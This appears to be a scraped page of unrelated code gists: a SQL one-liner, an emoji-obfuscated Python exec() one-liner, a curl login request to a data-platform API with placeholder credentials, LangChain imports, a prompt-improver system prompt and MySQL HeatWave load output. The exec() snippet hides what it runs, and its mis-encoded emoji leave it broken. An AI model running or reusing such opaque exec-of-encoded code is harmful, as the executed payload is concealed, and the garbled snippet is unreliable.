This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
select 1; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
exec("".join(map(chr,[int("".join(str({'π€': 0, 'π€': 3, 'π¦': 6, 'π': 1, 'π€·πΌββοΈ': 2, '42': 4, 'π': 7, 'π': 8, 'π': 9, 'π€£': 5}[i]) for i in x.split())) for x in | |
"π π π€·πΌββοΈ π π 42 π π€ π€£ π π π€ π π π¦ 42 π€ π€ π π π€ 42 π π€ π π π€ π π π€ \ | |
π π π π π€ π€·πΌββοΈ π π π π π π π π 42 π π€ π π π€ π€ π€ π 42 π π π€ π π€ π€\ | |
π π€ π π π€ π€·πΌββοΈ π€ π€·πΌββοΈ π π π π€ π€ π π€ π€ 42 π€ π π π€ 42 π 42 42 π π π€ π€£\ | |
π€ 42 π π€£ π π π€ π€ π€·πΌββοΈ π€ π€·πΌββοΈ π€ π€·πΌββοΈ π€ π€·πΌββοΈ π π 42 π π€ π π π π¦ π π π π π\ | |
42 π π π€ π€ π€·πΌββοΈ π π π€ 42 π π€ π€·πΌββοΈ 42 π€ π€ π€·πΌββοΈ π π π€ π€£ π€ π π€ π π π€·πΌββοΈ π π\ | |
42 π π€ π€£ π π π€ π π π¦ 42 π€ π€ π π€£ π€·πΌββοΈ π€ π€·πΌββοΈ 42 π€ π€ π€·πΌββοΈ π€£ π€·πΌββοΈ π€ π€·πΌββοΈ π¦ π \ | |
π€ π€·πΌββοΈ π π€·πΌββοΈ π€ π π€·πΌββοΈ π€£ π€ π 42 π¦ π π€ π€·πΌββοΈ π π π π π 42 π π€ π π π π π π¦ 42\ | |
π€ π π π π€ π€ π π€ π€ 42 π€ π€£ π€·πΌββοΈ 42 42 π€£ π€·πΌββοΈ 42 π 42 π 42 π π π€" | |
.split(" ")]))) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## get api token | |
curl --location --request POST 'http://IP:9047/apiv2/login' \ | |
--header 'Content-Type: application/json' \ | |
--header 'Accept: application/json' \ | |
--data-raw '{ | |
"userName": "chocho", | |
"password": "pwd" | |
}' | |
## get clusters |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from langchain.agents import create_csv_agent, create_sql_agent | |
from langchain.agents.agent_toolkits import SQLDatabaseToolkit | |
from langchain.sql_database import SQLDatabase | |
from langchain.llms.openai import OpenAI | |
from langchain.agents import AgentExecutor | |
from dotenv import load_dotenv | |
from sqlalchemy import create_engine | |
import duckdb | |
import os |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
You create precise, detailed and accurate prompts containing a guidance what to do and what not. Most of the time you use a few-shot example to make your prompts even better, this is specially valuable for achieving correctly formatted result. | |
You are given one prompt at a time and improve it while keeping all of its meaning. Prefer JSON as output format. Describe the importance to suppress all explanations or anything else but the JSON output. | |
Your output is always just an improved prompt starting with ###Task: and ending with single ``` to allow for appending the input. Provide a few shot example (100 - 500 words) in the improved prompt if you see fit. | |
Here examples of prompts & responses. | |
prompt:Extract dates from the text. | |
response:###Task: Extract Dates from Text | |
You are given a document that contains dates. Extract all the dates from the document and return them as a JSON array. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
### LOAD via datalake (plus cca 5 sec analyze overhead per table) | |
| SCHEMA TABLE TABLE IS RAW NUM. OF ESTIMATED SUMMARY OF | | |
| NAME NAME CREATED FILE SIZE COLUMNS ROW COUNT ISSUES | | |
| ------ ----- -------- --------- ------- --------- ---------- | | |
| `keboola` `LINEITEM` NO 6.87 GiB 16 45.05 M | | |
| TOTAL ESTIMATED ESTIMATED TOTAL DICTIONARY VARLEN ESTIMATED | | |
| SCHEMA OFFLOADABLE HEATWAVE NODE MYSQL NODE STRING ENCODED ENCODED LOAD | | |
| NAME TABLES FOOTPRINT FOOTPRINT COLUMNS COLUMNS COLUMNS TIME | | |
| ------ ----------- --------- --------- ------- ---------- |